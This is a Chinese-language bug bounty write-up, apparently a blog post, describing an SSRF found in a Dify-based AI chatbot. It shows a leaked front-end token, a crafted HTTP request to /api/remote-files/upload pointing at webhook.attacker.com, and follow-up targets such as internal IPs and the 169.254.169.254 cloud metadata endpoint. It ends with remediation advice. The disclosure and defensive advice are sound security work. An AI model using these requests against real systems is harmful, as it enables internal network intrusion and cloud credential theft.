【BBP实战】记一次从前端蛛丝马迹到高危 SSRF 的奇妙挖掘之旅

最近在参与一个海外 BBP 项目时，我碰到了一个非常有趣的目标。本以为它坚如磐石，但靠着一点点代码审查的耐心和对 API 逻辑的直觉，我成功撕开了一道口子，挖掘到了一个高危的 SSRF漏洞。

今天，就和大家复盘一下这次奇妙的漏洞挖掘之旅。

0x01 故事背景

随着大模型时代的到来，越来越多的企业喜欢在官网上挂一个“AI 智能助手”。这次的目标企业 example.com 也不例外。

初看他们的主站，业务逻辑严密，WAF 拦截也很给力，常规的注入、XSS 几乎无懈可击。就在我快要放弃，准备关电脑睡觉时，右下角那个不断闪烁的“Chat with AI”小弹窗引起了我的注意。

“既然主站打不动，这个外挂的 AI 对话系统，会不会是一个突破口？”

0x02 信息收集

渗透测试的本质就是信息搜集。我没有急于用扫描器狂轰滥炸，而是打开了 Chrome 开发者工具，像看课本一样仔细翻阅前端源码

在浩如烟海的 JS 文件中，我敏锐地捕捉到了一段用于初始化 AI 聊天机器人的内联配置脚本。

这段代码立刻让我眼前一亮：

<script type="text/javascript">
    window.difyChatbotConfig = {
        token: "[REDACTED_APP_CODE]", // 极其敏感的凭证！
        baseUrl: "https://chatbot.example.com",
        draggable: true,
    }
</script>
<script src="https://assets.example.com/chatbot/embed.min.js" id="[REDACTED_APP_CODE]" defer></script>

直觉告诉我，事情并不简单。
这里暴露了两个关键信息：

  1. 后端真实的交互域名是 https://chatbot.example.com。
  2. 系统基于开源/商用的 Dify 框架搭建，并且前端直接硬编码了鉴权所需的 token（即后续请求中的 X-App-Code）。

有了域名和 Token，这就相当于拿到了进入系统内部 API 的“大门钥匙”。

0x03 漏洞利用

拿到线索后，我立刻打开 Burp Suite 进行抓包分析。
在加载 chatbot 域名的过程中，我观察到了一个带有特殊鉴权头 X-App-Passport 和 X-App-Code 的请求。

Dify 这类 AI 对话系统，通常支持用户上传文档（PDF、TXT 等）让 AI 进行解析（RAG 技术）。顺着这个思路，我开始寻找文件上传或远程文件拉取的 API 接口。

果不其然，经过几轮接口 fuzzing 和对 Dify 架构的了解，我定位到了一个名为 /api/remote-files/upload 的关键端点

逻辑转换的瞬间：
正常情况下，这个接口可能是让前端传递一个普通的文件资源。但既然是 remote-files，如果我把请求体里的内容篡改为我控制的恶意 URL 呢？服务器会不会毫不犹豫地去请求它？

我将请求转发到 Burp Repeater 模块，并精心构造了如下 Payload：

POST /api/remote-files/upload HTTP/2
Host: chatbot.example.com
Content-Length: 67
X-App-Code: [REDACTED_APP_CODE]
Sec-Ch-Ua-Platform: "Windows"
Content-Type: application/json
X-App-Passport: eyJhbGciOiJIUzI1NiIs...[REDACTED_JWT]...
Accept: */* 
Origin: https://chatbot.example.com

{"url":"https://webhook.attacker.com/ssrf-test-01"}

注：这里的 X-App-Code 和 X-App-Passport 就是我们在前端抓取到的合法凭证，而 url 参数则指向了我提前准备好的 DNS Log/Webhook 接收地址

点击 Send。

几秒钟后，我的 Webhook 控制台发出了一声清脆的提示音——HTTP 200 OK，成功收到来自目标服务器的完整请求！

0x04 漏洞危害

对于不了解 SSRF 危害的同学，可能会问：“不就是让服务器帮你请求了一个网页吗，有什么大不了的？”

实际上，在企业级架构中，SSRF 被称为“内网的破壁人”。
在这个案例中，由于 AI 对话系统通常部署在云端并需要读取大量内部资源，该漏洞的危害是灾难性的：

  1. 内网探测与穿透：攻击者可以把 url 参数改成 http://192.168.x.x 或 http://127.0.0.1:端口，对目标企业的内网服务进行无差别扫描，甚至攻击内网中未授权的 Redis、MySQL 等中间件。
  2. 云上元数据窃取：如果目标部署在 AWS、阿里云等云环境，攻击者可尝试请求 http://169.254.169.254/latest/meta-data/，直接窃取云主机的临时凭证（STS Token），从而接管整个云账号。
  3. 绕过受保护资源：利用目标服务器（chatbot.example.com）的高信誉 IP 身份，绕过企业防火墙的白名单限制。

0x05 防御与反思

作为白帽子，发现漏洞只是第一步，如何修复才是体现安全工程能力的关键。

Root Cause（漏洞根源）：
该漏洞的本质在于，应用程序在处理用户提交的远程 URL 时，缺乏严格的边界校验，直接将用户输入带入了后端的 HTTP 请求库中执行。

给开发者的加固建议：
针对此类 AI 系统的远程文件拉取功能，建议采取以下防御措施：

  1. 网络层隔离：将负责外发请求的微服务部署在独立的沙箱或无内网访问权限的 VPC 中，切断其访问内网的能力。
  2. 严格的 URL 过滤：
    • 禁用非 HTTP/HTTPS 协议（如 file://, dict://, gopher://）。
    • 解析 URL 获取 IP 后，必须验证该 IP 是否属于内网地址段（Bogon IP，如 10.0.0.0/8, 127.0.0.0/8 等），如果是，则直接丢弃。
  3. 请求限制：对后端发起的 HTTP 请求设置合理的超时时间，并关闭重定向跟随功能，防止通过 HTTP 302 跳转绕过白名单。

总结：
这次挖掘让我深刻体会到，现代 Web 渗透不再是单点工具的对抗，而是业务逻辑与架构理解的较量。一个小小的配置泄露（Token）加上一个看似不起眼的 API，就能引发高危漏洞。

安全之路漫漫，下个漏洞见！保持好奇，Keep Hacking！

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注